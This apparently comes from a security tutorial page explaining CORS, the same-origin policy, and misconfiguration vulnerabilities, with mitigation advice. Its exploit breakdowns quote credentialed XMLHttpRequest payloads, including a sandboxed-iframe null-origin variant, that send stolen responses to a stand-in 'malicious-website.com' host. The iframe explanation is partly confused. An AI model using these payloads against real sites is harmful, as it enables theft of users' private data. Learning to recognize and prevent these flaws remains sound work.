Cross-Origin Resource Sharing (CORS)
What is CORS?
CORS (Cross-Origin Resource Sharing) is a browser mechanism that enables controlled access to resources located outside a given domain. It extends and adds flexibility to the same-origin policy (SOP) but is not a protection against CSRF. Instead, it introduces potential for cross-domain attacks when misconfigured.
What is the Same-Origin Policy (SOP)?
SOP is a web browser security mechanism that prevents websites from accessing data from other origins. It restricts scripts on one origin from interacting with resources of another origin.
Key Points about SOP
Origin consists of:
URL scheme (e.g.,
http
orhttps
)Domain (e.g.,
example.com
)Port number (e.g.,
80
)
SOP allows embedding resources (e.g., images, scripts) but prevents JavaScript from reading their content.
Example: SOP Restrictions
http://normal-website.com/example
Yes (Same origin)
https://normal-website.com/example
No (Different scheme)
http://sub.normal-website.com
No (Different domain)
http://normal-website.com:8080
No (Different port)
Relaxation of SOP with CORS
CORS allows controlled relaxation of the SOP for trusted origins.
Access-Control-Allow-Origin (ACAO)
The Access-Control-Allow-Origin
header is included in the response to indicate which origin is permitted to access the resource.
Example: Request
Response:
The browser permits access to the response because the origins match.
Credentials and CORS
Access-Control-Allow-Credentials
By default, cross-origin requests do not include credentials like cookies or the Authorization
header. Credentials can be allowed by setting:
Example:
Response
Wildcard Restriction
The wildcard Access-Control-Allow-Origin: *
cannot be used in combination with Access-Control-Allow-Credentials: true
.
Pre-Flight Checks
For certain cross-origin requests (e.g., those using non-standard methods like PUT
or custom headers), browsers send a pre-flight OPTIONS request to determine what is allowed.
Pre-Flight Request:
Response
Vulnerabilities Arising from CORS
1. Server-Generated ACAO Header from Client-Specified Origin
Some servers blindly echo the Origin
header in the Access-Control-Allow-Origin
response.
Example:
Response
Exploit
Code Breakdown
Creates a Request: An
XMLHttpRequest
object is used to fetch sensitive data fromhttps://vulnerable-website.com/sensitive-data
.Uses Victim's Session: The
withCredentials
property ensures cookies or authentication tokens are included in the request, leveraging the victim’s authenticated session.Exfiltrates Data: Once the data is retrieved, the
onload
function redirects the browser to//malicious-website.com/log
and appends the stolen data (responseText
) as a query parameter.Purpose: The script is injected via XSS to steal private information by exploiting the victim’s session with the target site.
2. Null in Origin Whitelists
Some applications maintain a whitelist of trusted origins but implement it poorly:
Matching based on prefixes or suffixes can lead to vulnerabilities.
Allowing
null
origin for testing or local development introduces risks. Request
Response
Exploit Using null
Origin:
null
Origin:Code Breakdown
<iframe sandbox="allow-scripts allow-top-navigation allow-forms">
Creates a sandboxed
<iframe>
element, which allows running scripts, top-level navigation, and form submissions but restricts other operations for security reasons.
src="data:text/html,<script>...</script>"
Embeds an inline HTML document using a
data
URI. This contains the malicious JavaScript code.
JavaScript Code:
var req = new XMLHttpRequest();
Initializes an
XMLHttpRequest
object to send HTTP requests.
req.onload = function() { location = '//malicious-website.com/log?key=' + this.responseText; };
When the request completes, it redirects the browser to the attacker's server (
malicious-website.com
) with the server's response (this.responseText
) as a query parameter.
req.open('GET', 'https://vulnerable-website.com/sensitive-data', true);
Opens a
GET
request to a vulnerable endpoint (/sensitive-data
) on the target website.
req.withCredentials = true;
Sends the request with the victim's cookies and session credentials, abusing their authentication state.
req.send();
Sends the request to retrieve sensitive data.
Why using <Iframe>
works in bypassing null origin
<Iframe>
works in bypassing null originNull Origin Restriction: Browsers impose a null origin on scripts running from
data:
URIs, preventing them from accessing cookies, credentials, or making cross-origin requests.Sandbox Permissions: Using the
<iframe>
with specific sandbox permissions (allow-scripts
, etc.) enables execution of malicious scripts while still escaping the null origin restrictions.Isolated Execution: The
<iframe>
provides an isolated context where the script can freely execute without being blocked by the browser's default restrictions fordata:
URIs.
3. Exploiting XSS via CORS Trust Relationships
If an origin vulnerable to XSS is trusted, attackers can inject JavaScript that retrieves sensitive data via CORS.
Example:
Response:
4. Breaking TLS with Poor CORS Configurations
If a trusted origin uses plain HTTP instead of HTTPS, attackers can intercept and modify traffic.
Exploit Flow:
Victim is redirected to
http://trusted-subdomain.vulnerable-website.com
.The attacker intercepts this HTTP request and injects a CORS request to the main site.
Sensitive data is returned to the attacker.
Best Practices for Securing CORS
Avoid Blindly Reflecting Origin Headers
Use strict whitelists of trusted origins.
Do not allow
null
origins in production.
Do Not Combine Wildcards with Credentials
Ensure
Access-Control-Allow-Credentials
is only enabled for specific origins.
Implement Pre-Flight Validation
Restrict allowed methods, headers, and origins in pre-flight responses.
Avoid Trusting Vulnerable Origins
Do not allow subdomains with known vulnerabilities.
Last updated
Was this helpful?